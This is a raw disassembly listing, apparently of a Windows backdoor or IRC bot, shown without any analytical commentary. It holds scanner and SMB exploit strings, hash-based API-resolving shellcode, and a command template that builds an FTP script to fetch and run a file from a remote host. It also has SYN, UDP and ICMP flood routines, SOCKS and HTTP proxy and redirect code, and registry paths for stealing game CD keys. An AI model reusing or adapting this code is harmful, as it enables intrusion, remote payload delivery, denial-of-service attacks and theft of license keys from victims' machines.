aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4207E0+65o
align 4
aBrowser db 'Browser',0 ; DATA XREF: sub_4207E0+5Do
dd 0
aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4207E0+55o
; sub_4207E0:loc_420A6Bo
align 10h
asc_444400: ; DATA XREF: sub_420E10:loc_420ECFo
; sub_420E10+F9o ...
unicode 0, </>,0
aFtp db 'ftp',0 ; DATA XREF: sub_420E10+94o
; sub_420E10:loc_42107Eo ...
aHttp db 'http',0 ; DATA XREF: sub_420E10+84o
; sub_420E10+257o ...
align 10h
aAsn db 'asn',0 ; DATA XREF: sub_4227F0+31o
dd 0
dd 73610000h, 6Eh, 6 dup(0)
dword_444438 dd 1BDh ; sub_422A40+310o ...
off_44443C dd offset sub_401811 ; DATA XREF: ___:00423E93r
dword_444440 dd 0 ; sub_4235F0+3Ar ...
dd 1, 0
aAsn2 db 'asn2',0
align 4
dd 73610000h, 326Eh, 6 dup(0)
dd 1BDh, 401811h, 0
dd 1, 19h dup(0)
aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
; DATA XREF: sub_422A40+8F3o
db 0
align 4
dd 3 dup(0)
aSequential db 'sequential',0 ; DATA XREF: sub_422A40+8B3o
align 8
aRandom db 'random',0 ; DATA XREF: sub_422A40+8ACo
align 10h
aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o
align 4
dd 0
off_44456C dd offset dword_622D20 ; DATA XREF: sub_422A40+747o
off_444570 dd offset dword_612D20 ; DATA XREF: sub_422A40+737o
; sub_422A40+7A3o ...
dword_444574 dd 722D20h ; sub_422A40+7E5o
aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o
align 10h
aTotalD db ' total: %d',0 ; DATA XREF: sub_422A40+397o
align 10h
aSD db ' %s: %d,',0 ; DATA XREF: sub_422A40+35Fo
align 4
aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422A40+336o
align 4
aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o
align 10h
aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo
align 8
aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o
align 8
aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o
align 10h
aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o
align 8
aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422A40+6Do
align 4
dd 0
dword_44466C dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o
align 10h
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423B25o
align 10h
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o
align 10h
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo
align 8
aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao
align 10h
aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:00423CD6o
align 10h
aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
; DATA XREF: ___:004241D7o
align 4
dd 3 dup(0)
aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0
; DATA XREF: ___:00424126o
dd 3 dup(0)
aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:0042406Fo
dd 3 dup(0)
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424840+BDo
align 10h
dword_444830 dd 10FF8h, 0 dword_444838 dd 10FF8h dword_44483C dd 7FFDF020h, 0 dword_444844 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4448CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_4448FC dd 0 dword_444900 dd 800000D4h align 8
; =============== S U B R O U T I N E =======================================
sub_444908 proc near ; DATA XREF: sub_425020+85o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_444A04
push dword ptr [esi]
push 63D61209h
call sub_444A1A
mov [esi+8], eax
call sub_4449CD
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_444A1A
mov [esi+0Ch], eax
call sub_44497F
push dword ptr [esi+4]
push 4C0297FAh
call sub_444A1A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_444908 endp
; =============== S U B R O U T I N E =======================================
sub_44497F proc near ; CODE XREF: sub_444908+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_4449A8
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_44497F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4449A8 proc near ; CODE XREF: sub_44497F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_4449B7: ; CODE XREF: sub_4449A8+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_4449C4
inc ebx
jmp short loc_4449B7
; ---------------------------------------------------------------------------
loc_4449C4: ; CODE XREF: sub_4449A8+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_4449A8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4449CD proc near ; CODE XREF: sub_444908+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_4449E5: ; CODE XREF: sub_4449CD+1Ej
cmp [ecx], ebx
jz short loc_4449ED
mov ecx, [ecx]
jmp short loc_4449E5
; ---------------------------------------------------------------------------
loc_4449ED: ; CODE XREF: sub_4449CD+1Aj
mov edx, edi
loc_4449EF: ; CODE XREF: sub_4449CD+2Aj
cmp [edx+4], ebx
jz short loc_4449F9
mov edx, [edx+4]
jmp short loc_4449EF
; ---------------------------------------------------------------------------
loc_4449F9: ; CODE XREF: sub_4449CD+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_4449CD endp
; =============== S U B R O U T I N E =======================================
sub_444A04 proc near ; CODE XREF: sub_444908+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_444A04 endp
; =============== S U B R O U T I N E =======================================
sub_444A1A proc near ; CODE XREF: sub_444908+16p
; sub_444908+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_444A30: ; CODE XREF: sub_444A1A+33j
jecxz short loc_444A6A
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_444A3D: ; CODE XREF: sub_444A1A+2Dj
lodsb
cmp al, ah
jz short loc_444A49
ror edi, 0Dh
add edi, eax
jmp short loc_444A3D
; ---------------------------------------------------------------------------
loc_444A49: ; CODE XREF: sub_444A1A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_444A30
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_444A6A: ; CODE XREF: sub_444A1A:loc_444A30j
; sub_444A1A:loc_444A6Aj
jmp short loc_444A6A
sub_444A1A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_444A70 proc near ; DATA XREF: sub_425020+1Eo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_444AC2
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_444A8D: ; CODE XREF: sub_444A70+38j
jecxz short loc_444ABD
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_444A98: ; CODE XREF: sub_444A70+32j
lodsb
test al, al
jz short loc_444AA4
ror edx, 0Dh
add edx, eax
jmp short loc_444A98
; ---------------------------------------------------------------------------
loc_444AA4: ; CODE XREF: sub_444A70+2Bj
cmp edx, [esp+arg_0]
jnz short loc_444A8D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_444ABD: ; CODE XREF: sub_444A70:loc_444A8Dj
mov [esp+arg_0], ebx
retn
sub_444A70 endp
; =============== S U B R O U T I N E =======================================
sub_444AC2 proc near ; CODE XREF: sub_444A70+7p
; FUNCTION CHUNK AT 00444AFA SIZE 00000005 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_444ADB
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_444AE6
; ---------------------------------------------------------------------------
loc_444ADB: ; CODE XREF: sub_444AC2+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_444AE6: ; CODE XREF: sub_444AC2+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_444AFA
sub_444AC2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_444AED proc near ; CODE XREF: sub_444AC2:loc_444AFAp
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_444AED endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_444AC2
loc_444AFA: ; CODE XREF: sub_444AC2+29j
call sub_444AED
; END OF FUNCTION CHUNK FOR sub_444AC2
; ---------------------------------------------------------------------------
db 0
dd 25h dup(0)
dword_444B94 dd 23h dword_444B98 dd 60h dword_444B9C dd 62B0606h, 2050501h, 0A0hdword_444BA8 dd 0A1h dword_444BAC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424840+16Do
align 4
loc_444BB8: ; DATA XREF: sub_424840+100o
jmp short near ptr dword_444BC0
; ---------------------------------------------------------------------------
align 10h
dword_444BC0 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
; DATA XREF: sub_425020+60o
db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
db '%s',0Dh,0Ah,0
align 4
dd 7 dup(0)
; ---------------------------------------------------------------------------
loc_444C68: ; DATA XREF: sub_4254E0+CCo
jmp short loc_444C6C
; ---------------------------------------------------------------------------
loc_444C6A: ; CODE XREF: ___:loc_444C6Cp
jmp short loc_444C71
; ---------------------------------------------------------------------------
loc_444C6C: ; CODE XREF: ___:loc_444C68j
call loc_444C6A
loc_444C71: ; CODE XREF: ___:loc_444C6Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_444C76 dw 0FFFFh ; DATA XREF: sub_4254E0+D3w
db 80h, 73h, 0Eh
byte_444C7B db 0FFh ; DATA XREF: sub_4254E0+DAw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_444C80: ; DATA XREF: sub_4254E0+A7o
jmp short loc_444C84
; ---------------------------------------------------------------------------
loc_444C82: ; CODE XREF: ___:loc_444C84p
jmp short loc_444C89
; ---------------------------------------------------------------------------
loc_444C84: ; CODE XREF: ___:loc_444C80j
call loc_444C82
loc_444C89: ; CODE XREF: ___:loc_444C82j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_444C8D db 0FFh ; DATA XREF: sub_4254E0+AEw
dw 7380h
db 0Ch
byte_444C91 db 0FFh ; DATA XREF: sub_4254E0+B4w
dw 0E243h
dd 0F9h
dword_444C98 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_425270+43o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444CFC dd 12h dd 70746674h, 6578652Eh, 20692D20h
dword_444D0C dd 74656720h byte_444D10 db 20h ; DATA XREF: sub_425270+A2r
dword_444D11 dd 0E8006A00h dword_444D15 dd 17h ; sub_425270+D2r
dword_444D19 dd 0E8C30175h dword_444D1D dd 1 ; sub_425270+E7r
byte_444D21 db 0, 6Ah, 0 ; DATA XREF: sub_425270+110o
dd 7E8h
db 0, 0Fh, 84h
dword_444D2B dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi ; free
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dd 0Ch dup(0)
aPing db 'ping',0 ; DATA XREF: sub_426450+22o
align 4
aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
; DATA XREF: sub_4266A0+D0o
align 10h
dd 2 dup(0)
aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o
align 4
dd 2 dup(0)
aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o
align 8
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_426820+38o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_426820+2Bo
dd 0
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_426820+23o
align 10h
aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_426820+Co
align 4
aForsyn db 'forsyn',0 ; DATA XREF: sub_4269A0+22o
align 4
aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o
align 10h
aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o
align 10h
aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o
align 4
dd 0
aSyn db 'syn',0 ; DATA XREF: sub_426EB0+22o
aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o
align 4
dd 0
aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o
align 8
aUdp db 'udp',0 ; DATA XREF: sub_427590+22o
aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_427650+C0o
align 10h
aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o
align 10h
off_444F30 dd offset byte_455247 ; DATA XREF: sub_427DC0+22o
aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_428040+AAo
dd 3 dup(0)
aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_428040+33o
align 4
dd 3 dup(0)
aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Connection to %s:%d has failed',0Ah,0
align 10h
dd 7 dup(0)
aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Error Resolving %s',0Ah,0
align 4
dd 6 dup(0)
aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah
; DATA XREF: sub_4282C0+D12o
db 0Dh,0Ah,0
dd 2 dup(0)
aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o
; sub_4282C0+B97o
dd 0
aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o
; sub_4282C0+B79o
align 4
dd 0
aConnection db 'Connection:',0 ; DATA XREF: sub_4282C0+9A4o
dd 0
aChunked db 'chunked',0 ; DATA XREF: sub_4282C0+961o
align 8
aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o
align 10h
aContentLength db 'Content-Length:',0 ; DATA XREF: sub_4282C0+87Do
dd 0
aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6DEo
db 'Connection: close',0Dh,0Ah
db '%s',0
dd 2 dup(0)
aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6A9o
db 'Connection: Keep-Alive',0Dh,0Ah
db '%s',0
align 8
aKeepAlive db 'Keep-Alive',0 ; DATA XREF: sub_4282C0:loc_42886Bo
; sub_4282C0+9F0o
align 8
aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o
align 10h
asc_445220 db 0Dh,0Ah,0 ; DATA XREF: sub_4282C0+46Co
; sub_4282C0+52Co ...
align 4
aHttprox db 'HTTPROX',0 ; DATA XREF: sub_4282C0+437o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_4282C0+202o
; sub_42D580+20Fo
dd 0
aConnect_0 db 'CONNECT',0 ; DATA XREF: sub_4282C0+1CDo
align 8
off_445248 dd offset byte_544547 ; DATA XREF: sub_4282C0+108o
aHttp_0 db 'HTTP',0 ; DATA XREF: sub_4299C0+22o
align 4
aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o
dd 2 dup(0)
aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo
dd 2 dup(0)
aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o
align 10h
aSocks4 db 'Socks4',0 ; DATA XREF: sub_429D00+22o
; sub_42A090+22o
align 4
aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o
align 8
aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co
align 10h
dd 2 dup(0)
dword_445328 dd 1000005h, 0 dword_445330 dd 5 dword_445334 dd 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0
; DATA XREF: sub_42B880+20Fo
align 4
dd 3 dup(0)
aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
; DATA XREF: sub_42B880+3Fo
align 4
dd 2 dup(0)
aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
; DATA XREF: ___:0042C435o
align 10h
aRoot db 'root',0 ; DATA XREF: ___:0042C3C1o
align 4
dd offset aWoot ; "Woot"
aWoot db 'Woot',0 ; DATA XREF: ___:004453F8o
align 4
aNetworkFailedT db 'Network failed to start: %d',0Ah,0
align 8
aCalloc db 'calloc',0 ; DATA XREF: sub_42D580+310o
; sub_42D580+351o
align 10h
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_42D580+1C4o
; sub_42D580+1EAo
align 10h
aSocket db 'socket',0
align 4
aGethostbyname db 'gethostbyname',0
align 4
aGetservbyname db 'getservbyname',0 ; DATA XREF: sub_42C810+5Co
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_42C810+49o
; sub_42C810:loc_42C8CDo
aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o
align 4
dd 0
aRead db 'read',0 ; DATA XREF: sub_42CC50:loc_42CDECo
align 4
aPassS db 'PASS %s',0 ; DATA XREF: sub_42D0D0+72o
align 10h
aUserS db 'USER %s',0 ; DATA XREF: sub_42D0D0+3Do
dd 0
aWrite db 'write',0
align 4
aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42D1A0+3Do
aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o
align 10h
dd 0
dword_4454D4 dd 524F5453h byte_4454D8 db 0 ; DATA XREF: sub_42D2C0+EDr
align 4
dword_4454DC dd 52544552h byte_4454E0 db 0 ; DATA XREF: sub_42D2C0+D3r
align 4
dword_4454E4 dd 5453494Ch byte_4454E8 db 0 ; DATA XREF: sub_42D2C0+B8r
align 4
dword_4454EC dd 54534C4Eh byte_4454F0 db 0 ; DATA XREF: sub_42D2C0+9Er
align 4
dword_4454F4 dd 45505954h, 632520h, 0 ; ___:0042E6CAo
aMissingPathArg db 'Missing path argument for file transfer',0Ah,0
; DATA XREF: sub_42D2C0+2Do
align 4
dd 2 dup(0)
aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 ; DATA XREF: sub_42D580+2C8o
align 10h
aListen db 'listen',0 ; DATA XREF: sub_42D580+242o
align 4
aBind db 'bind',0 ; DATA XREF: sub_42D580+230o
align 10h
aGetsockname db 'getsockname',0 ; DATA XREF: sub_42D580+190o
align 10h
aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo
align 8
aPasv db 'PASV',0 ; DATA XREF: sub_42D580+B4o
align 10h
aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o
align 4
aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o
align 10h
aTimedOutWaitin db 'timed out waiting for connection',0
align 8
aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0
align 10h
dd 2 dup(0)
aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo
align 10h
dd 2 dup(0)
aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo
align 10h
dd 2 dup(0)
aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042E0DEo
dd 0
aSyst db 'SYST',0 ; DATA XREF: ___:0042E13Do
align 4
aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042E1CEo
align 4
aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042E24Eo
align 4
aCdup db 'CDUP',0 ; DATA XREF: ___:0042E2A7o
align 4
aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042E2FEo
align 4
off_4456AC dd offset aInterlockedcom+10h ; DATA XREF: ___:0042E35Do
aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42E400:loc_42E581o
dd 0
aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o
align 4
dd 0
word_4456EC dw 77h ; DATA XREF: sub_42E400+1Fr
align 10h
dword_4456F0 dd 25206425h, 64hdword_4456F8 dd 455A4953h, 732520h, 0dword_445704 dd 4D54444Dh, 732520h, 0dword_445710 dd 4F544E52h, 732520h, 0dword_44571C dd 52464E52h, 732520h, 0dword_445728 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42EA40+10o
align 4
dword_44573C dd 1 ; sub_430460+1Fw ...
aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o
align 10h
aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_431280+6o
align 10h
aA db '€',0 ; DATA XREF: sub_433A20+36o
align 4
dd 13h dup(0)
dd offset aBattlefield194 ; "[Battlefield 1942: "
dword_4457C4 dd 80000002h, 446894h, 446F60h, 446860h, 80000002h, 446800h
; DATA XREF: ___:00434941o
dd 446F60h, 4467D0h, 80000002h, 446778h, 446F60h, 446754h
dd 80000002h, 44670Ch, 446F60h, 4466F4h, 80000002h, 4466B0h
dd 446F60h, 446688h, 80000002h, 44664Ch, 446F60h, 446618h
dd 80000002h, 4465B8h, 446F60h, 44658Ch, 80000002h, 446568h
dd 446560h, 446534h, 80000002h, 44650Ch, 446560h, 4464F4h
dd 80000001h, 4464C4h, 4464C0h, 4464B0h, 80000002h, 446474h
dd 446F60h, 446464h, 80000002h, 446428h, 446F60h, 446414h
dd 80000002h, 4463CCh, 446F60h, 4463B0h, 80000002h, 44636Ch
dd 446F60h, 446350h, 80000001h, 446328h, 4464C0h, 446318h
dd 80000001h, 4462F0h, 4464C0h, 4462D0h, 80000002h, 446294h
dd 446290h, 446274h, 80000002h, 446250h, 446248h, 446230h
dd 80000001h, 446204h, 4461FCh, 4461D8h, 80000002h, 44618Ch
dd 446F60h, 446164h, 80000002h, 446110h, 446F60h, 4460D8h
dd 80000002h, 446074h, 446F60h, 446040h, 80000002h, 445FE0h
dd 446F60h, 445FC4h, 80000002h, 445F7Ch, 446F60h, 445F60h
dd 80000002h, 445F18h, 446F60h, 445F08h, 80000002h, 445ECCh
dd 446F60h, 445EBCh, 80000002h, 445E80h, 446F60h, 445E58h
dd 80000002h, 445E04h, 446F60h, 445DDCh, 80000002h, 445D8Ch
dd 446F60h, 445D70h, 80000002h, 445D48h, 4464C0h, 445D34h
dd 80000002h, 445CFCh, 446F60h, 445CCCh, 80000002h, 445C74h
dd 446F60h, 445C58h, 80000001h, 445C08h, 445C00h, 445BE4h
dd 80000002h, 445BA0h, 445B94h, 445B7Ch, 80000001h, 445B4Ch
dd 445B40h, 445B20h, 80000002h, 445AE4h, 445C00h, 445AC4h
dd 80000002h, 445A88h, 445C00h, 0
dword_445A14 dd 1Dh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
align 4
dd 2 dup(0)
aUnrealTourname db '[Unreal Tournament 2004: ',0
align 10h
dd 0
aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
align 10h
aUnrealTourna_0 db '[Unreal Tournament 2003: ',0
align 10h
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
dd 2 dup(0)
aTheGladiators db '[The Gladiators: ',0
align 10h
dd 0
aSof2key db 'sof2key',0 ; DATA XREF: ___:00434C86o
align 10h
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
; DATA XREF: ___:00434C2Eo
align 4
dd 2 dup(0)
aSoldierOfFortu db '[Soldier Of Fortune 2: ',0
align 10h
aCdkey db 'CDKey',0
align 4
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
dd 3 dup(0)
aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0
align 10h
dd 0
aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
db 'ion\ergc',0
align 10h
dd 3 dup(0)
aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0
align 4
dd 2 dup(0)
aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
align 4
dd 2 dup(0)
dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aNeverwinterNig db '[Neverwinter Nights: ',0
align 4
dd 0
aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 10h
dd 3 dup(0)
aNeedForSpeedUn db '[Need For Speed: Underground: ',0
align 4
dd 2 dup(0)
aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
db 'gc',0
dd 4 dup(0)
aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0
align 10h
aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 10h
